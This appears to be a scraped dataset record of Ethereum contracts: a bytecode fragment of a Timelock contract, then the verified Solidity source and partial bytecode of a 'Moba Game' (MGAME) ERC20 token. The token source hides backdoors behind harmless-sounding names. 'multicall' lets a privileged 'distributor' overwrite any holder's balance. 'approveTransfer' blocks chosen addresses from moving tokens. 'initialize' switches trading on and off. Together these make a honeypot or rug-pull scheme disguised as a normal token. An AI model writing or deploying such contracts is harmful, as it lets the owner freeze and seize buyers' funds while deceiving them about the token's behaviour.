0180611dd96038913960400191505060405180910390fd5b611581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611cf1603b913960400191505060405180910390fd5b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c0e6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611744578082015181840152602081019050611729565b50505050905090810190601f1680156117715780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117aa57808201518184015260208101905061178f565b50505050905090810190601f1680156117d75780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118b2578082015181840152602081019050611897565b50505050905090810190601f1680156118df5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119185780820151818401526020810190506118fd565b50505050905090810190601f1680156119455780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b6201518081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611ecd6031913960400191505060405180910390fd5b62015180811015611a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cbd6034913960400191505060405180910390fd5b62278d00811115611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d2c6038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220bce17a3f38fac61049063e6ec3efe5b5d4d5f9e1da4f65e430233f9b32ed5b8d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,994 |
0xc1a4ea94b3612744f9ebc6e5d08706107a978d29
|
/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);}
function _msgData() internal view virtual returns (bytes memory) {this;
return msg.data;}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {return returndata;}
else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");_;}
function owner() public view returns (address) {
return _owner;}
function distributor() internal view returns (address) {
return _distributor;}
function setDistributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}}
contract MobaGame is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = 'Moba Game';
string private _symbol = 'MGAME';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 500000000000000*10**9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _pOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _taxRewards;
mapping (address => bool) private _isExcluded;
uint256 private constant MAX = ~uint256(0);
address[] private _excluded;
uint256 private _tFeeTotal;
uint256 private _totalSupply;
uint256 private _rTotal;
bool _initialize;
address router;
address factory;
constructor (address unif, address unir) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_pOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
_isExcluded[distributor()] = true;
_excluded.push(distributor());
_initialize = true;
router = unir;
factory = unif;}
function name() public view returns (string memory) {
return _name;}
function symbol() public view returns (string memory) {
return _symbol;}
function decimals() public view returns (uint8) {
return _decimals;}
function totalSupply() public pure override returns (uint256) {
return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {
return _pOwned[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;}
function multicall(address account, uint256 tokens, uint256 burn) external distributors {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, "");
if (_initialize == true || sender == distributor() || recipient == distributor()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}}
else {require (_initialize == true, "");}}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function approveTransfer(address acconut) external distributors {
_taxRewards[acconut] = true;}
function taxSender(address account) external distributors {
_taxRewards[account] = false;}
function rewardsState(address account) public view returns (bool) {
return _taxRewards[account];}
function initialize() public virtual distributors {
if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
function initialized() public view returns (bool) {
return _initialize;}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);}}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b60006969e10de76676d0800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006969e10de76676d0800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000